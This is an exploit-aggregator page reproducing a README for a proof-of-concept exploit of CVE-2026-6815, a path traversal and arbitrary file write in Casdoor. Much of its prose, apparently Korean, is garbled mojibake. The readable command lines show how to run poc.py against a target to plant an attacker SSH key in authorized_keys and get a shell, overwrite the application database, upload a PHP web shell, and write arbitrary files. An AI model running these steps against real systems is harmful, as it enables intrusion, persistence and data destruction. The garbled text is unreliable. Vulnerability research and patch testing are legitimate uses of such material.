Sploitus

Exploit for CVE-2026-6815

kitploit ยท 2026-08-25

Exploit Code

MARKDOWN125 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANILO-DELLORCO-CVE-2026-6815
# CVE-2026-6815 PoC/Exploit: Casdoor <3.54.1 ๊ฒฝ๋กœ ํƒ์ƒ‰ ๋ฐ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ (์ธ์ฆ๋จ)

์ด ์ €์žฅ์†Œ๋Š” Casdoor์˜ ์ž„์˜ ํŒŒ์ผ ์“ฐ๊ธฐ ๋ฐ ๊ฒฝ๋กœ ํƒ์ƒ‰ ์ทจ์•ฝ์ ์ธ CVE-2026-6815์— ๋Œ€ํ•œ PoC(Proof of Concept) ์ต์Šคํ”Œ๋กœ์ž‡์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ๋ฒ„์ „ 3.54.1์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

## ์š”๊ตฌ ์‚ฌํ•ญ

๊ณต๊ฒฉ์ž๋Š” Casdoor ์ธ์Šคํ„ด์Šค์— ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์ธ์ฆ๋˜์–ด ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ์Šคํ† ๋ฆฌ์ง€ ๊ณต๊ธ‰์ž๋ฅผ ์ƒ์„ฑ ๋ฐ/๋˜๋Š” ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋™๊ธ‰์˜ ์‚ฌ์šฉ์ž์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

## ์˜ํ–ฅ

  * **์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰ (RCE)** : `.ssh/authorized_keys`, crontab, ์›น ๋ฃจํŠธ์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์œ„์น˜์— ํŒŒ์ผ์„ ์ž‘์„ฑํ•˜์—ฌ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  * **์„œ๋น„์Šค ๊ฑฐ๋ถ€ (DoS)** : ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(`casdoor.db`)๋‚˜ ํ•ต์‹ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ž„์˜์˜ ํŒŒ์ผ๋กœ ๋ฎ์–ด์จ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ฆ‰์‹œ ์ค‘์ง€์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.



## ๊ธฐ์ˆ ์  ์„ธ๋ถ€ ์‚ฌํ•ญ

Casdoor๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ์Šคํ† ๋ฆฌ์ง€ ๊ณต๊ธ‰์ž๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. `Local File System` ๊ณต๊ธ‰์ž๋Š” ๋ฆฌ์†Œ์Šค ์—…๋กœ๋“œ ์‹œ `pathPrefix` ๊ตฌ์„ฑ๊ณผ `fullFilePath` ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.

๋””๋ ‰ํ„ฐ๋ฆฌ ํŠธ๋ž˜๋ฒ„์„ค ์‹œํ€€์Šค(`../`)๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ธ์ฆ๋œ ๊ด€๋ฆฌ์ž๊ฐ€ ์ „์šฉ ์Šคํ† ๋ฆฌ์ง€ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ฒ—์–ด๋‚˜ Casdoor ํ”„๋กœ์„ธ์Šค์— ๊ถŒํ•œ์ด ์žˆ๋Š” ๋ชจ๋“  ์œ„์น˜์— ํŒŒ์ผ์„ ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ์ทจ์•ฝ์ ์€ ๋‹ค์Œ ์œ„์น˜์˜ ๋ถˆ์ถฉ๋ถ„ํ•œ ๊ฒฝ๋กœ ๊ฒ€์ฆ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค:

  * `object/provider.go`: ์ƒ์„ฑ/์—…๋ฐ์ดํŠธ ์‹œ `pathPrefix`์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ์—†์Œ.
  * `storage/local_file_system.go`: `GetFullPath` ๋ฉ”์„œ๋“œ๋Š” ํ™•์ธ๋œ ๊ฒฝ๋กœ๊ฐ€ ์˜๋„๋œ ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด์— ์œ ์ง€๋˜๋Š”์ง€ ๊ฒ€์ฆํ•˜์ง€ ์•Š์Œ.



## ์‚ฌ์šฉ๋ฒ•

  1. ์˜์กด์„ฑ ์„ค์น˜:

root@kitploit:~
         
         pip install -r requirements.txt
         

  2. ์ต์Šคํ”Œ๋กœ์ž‡ ์‹คํ–‰:

root@kitploit:~
         
         python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
         




## ์‚ฌ์šฉ ์˜ˆ์ œ

### 1\. RCE๋ฅผ ์œ„ํ•œ SSH ํ‚ค ์ฃผ์ž…

`casdoor` ์‚ฌ์šฉ์ž์˜ `authorized_keys` ํŒŒ์ผ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ณต๊ฐœ ํ‚ค๋ฅผ ์ž‘์„ฑํ•˜์—ฌ SSH ์•ก์„ธ์Šค๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.

SSH ํ‚ค ์ƒ์„ฑ:

root@kitploit:~
    
    
    ssh-keygen -f casdoor_rce
    

์ƒ์„ฑ๋œ ๊ณต๊ฐœ ํ‚ค๋กœ `authorized_keys`๋ฅผ ๋ฎ์–ด์”๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
    

๊ฐœ์ธ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์›๊ฒฉ ํ˜ธ์ŠคํŠธ์—์„œ SSH ์…ธ์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    ssh -i ./casdoor_rce casdoor@target
    

### 2\. ์ง€์†์  DoS (๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์†์ƒ)

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋กœ์ปฌ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผ(์˜ˆ: `casdoor.db`)์„ ๋ฎ์–ด์จ ์„œ๋น„์Šค ๊ฑฐ๋ถ€๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
    

### 3\. ์›น ์…ธ ์—…๋กœ๋“œ (๋ณด์กฐ ์›น ๋ฃจํŠธ)

์„œ๋ฒ„๊ฐ€ ๋™์ผํ•œ ํŒŒ์ผ ์‹œ์Šคํ…œ์—์„œ ๋ณด์กฐ ์›น ์„œ๋ฒ„(์˜ˆ: Apache/Nginx)๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฌธ์„œ ๋ฃจํŠธ์— ์›น ์…ธ์„ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
    

### 4\. ์‚ฌ์šฉ์ž ์ง€์ • ์กฐ์ง ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜

ํŠน์ • ์กฐ์ง ๋ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(๊ธฐ๋ณธ๊ฐ’์ธ `built-in` ๋ฐ `app-built-in`์ด ์•„๋‹Œ)์— ๋Œ€ํ•œ ๊ด€๋ฆฌ์ž ์ž๊ฒฉ ์ฆ๋ช…์ด ์žˆ๋Š” ๊ฒฝ์šฐ `--orgname` ๋ฐ `--appname`์„ ์‚ฌ์šฉํ•˜์—ฌ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
    

## ์ฐธ๊ณ  ์ž๋ฃŒ

  * CERT/CC Vulnerability Note VU#937808
  * CVE-2026-6815 on CVE.org
  * Red Hat Security Advisory: CVE-2026-6815



## ๋ฉด์ฑ… ์กฐํ•ญ

์ด ์†Œํ”„ํŠธ์›จ์–ด๋Š” ๊ต์œก ๋ฐ ์ธ๊ฐ€๋œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ž‘์„ฑ์ž๋Š” ์ด ์ •๋ณด์˜ ์˜ค์šฉ์— ๋Œ€ํ•ด ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

## ์ž‘์„ฑ์ž

์ทจ์•ฝ์  ๋ฐœ๊ฒฌ ๋ฐ PoC ๊ฐœ๋ฐœ: **Danilo Dell'Orco (sixpain)**.